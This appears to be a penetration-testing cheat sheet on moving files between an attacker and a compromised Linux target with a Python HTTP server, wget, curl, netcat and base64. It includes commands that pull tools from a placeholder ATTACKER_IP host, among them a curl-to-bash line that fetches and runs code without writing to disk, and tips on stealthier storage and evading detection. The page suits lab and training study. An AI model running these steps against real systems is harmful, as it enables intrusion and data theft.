File Transfer
Techniques for moving files between attacker and target. Upload tooling to the target (linpeas, chisel, pspy64) or pull loot (databases, configs, password files). Check the attacker IP on tun0: ip a show tun0.
Python HTTP Server
Python's `http.server` module spins up a tiny web server that serves all files from the current directory over HTTP. Workflow: (1) cd into the folder with files to ship (`cd /path/to/tools`), (2) start the server, (3) on the target use wget/curl to download. Port 8080 is chosen so root is not needed (ports <1024 require privilege). Every request appears in the terminal — handy for confirming downloads. Stop with Ctrl+C.
python3 -m http.server 8080
Python2:
python -m SimpleHTTPServer 8080
When to use: EASIEST way to upload tools to the target. Use for linpeas.sh, chisel, pspy64, etc.
wget
`-O /tmp/file` sets the output filename and location. Save into `/tmp/` because that directory is world-writable on virtually every Linux — no special privilege needed. Alternative writable spots: `/dev/shm/` (in-memory, gone after reboot, stealthier) or `/var/tmp/`. `-q` = quiet mode. Add `--no-check-certificate` for HTTPS servers with self-signed certs. Add `chmod +x /tmp/file` after download to run it directly.
wget http://ATTACKER_IP:8080/file -O /tmp/file
Silent, save into a folder (no rename):
wget -q http://ATTACKER_IP:8080/file -P /tmp/
When to use: Download tools from attacker to target. wget is almost always present on Linux.
curl
`-o /tmp/file` saves to a file (different from `-O` which takes the name from the URL). curl is almost always present, even on systems missing wget — rare to see modern Linux without it. Useful extra flags: `-s` = silent, `-k` = skip SSL cert verification, `--max-time 10` = timeout. The `| bash` variant runs the script straight away without writing to disk — handy but hard to debug on failure, and some AV/IDS flag this pattern.
curl http://ATTACKER_IP:8080/file -o /tmp/file
Execute directly without writing to disk:
curl http://ATTACKER_IP:8080/file | bash
When to use: Use when wget is missing. Check: which wget curl.
Netcat File Transfer
Attacker runs `nc -lvnp 4444 < file` — the file is piped as input to the netcat listener so it is read and sent as soon as a connection arrives. Target connects and redirects everything received to a new file. No HTTP server required at all. Order matters: the attacker MUST start the listener first, then the target connects. Transfer completes and the connection drops automatically once the whole file is sent. Verify integrity: compare md5sum on both sides.
# On the attacker — start the listener and pipe the file:
nc -lvnp 4444 < file_to_send
# On the target — connect and save:
nc ATTACKER_IP 4444 > /tmp/received_file
When to use: Target cannot reach the attacker HTTP server (firewall blocking, routing issue). Fallback when wget/curl is absent.
Note: Attacker first, then target connects. Integrity check: md5sum must match on both sides.
Base64 Copy-Paste
`-w 0` disables line wrapping — by default base64 wraps every 76 characters, producing many lines that are hard to copy. Result is a single long line that is easy to select and copy from a terminal. `&& echo` appends a newline so the cursor does not stick to the string. On the target, paste the string into echo and decode. This works even without any network connectivity between attacker and target — only terminal copy-paste is required. Verify: `md5sum /tmp/file` vs the original md5sum.
# On the attacker — encode into a single line:
base64 -w 0 file && echo
# On the target — paste the string and decode:
echo "BASE64_STRING_HERE" | base64 -d > /tmp/file
When to use: Target is isolated from the attacker network — only access is through an existing shell (e.g. a limited webshell).
Note: Only suitable for small files (<100KB). Large files produce extremely long strings that are impractical.
← RESPWN Dashboard
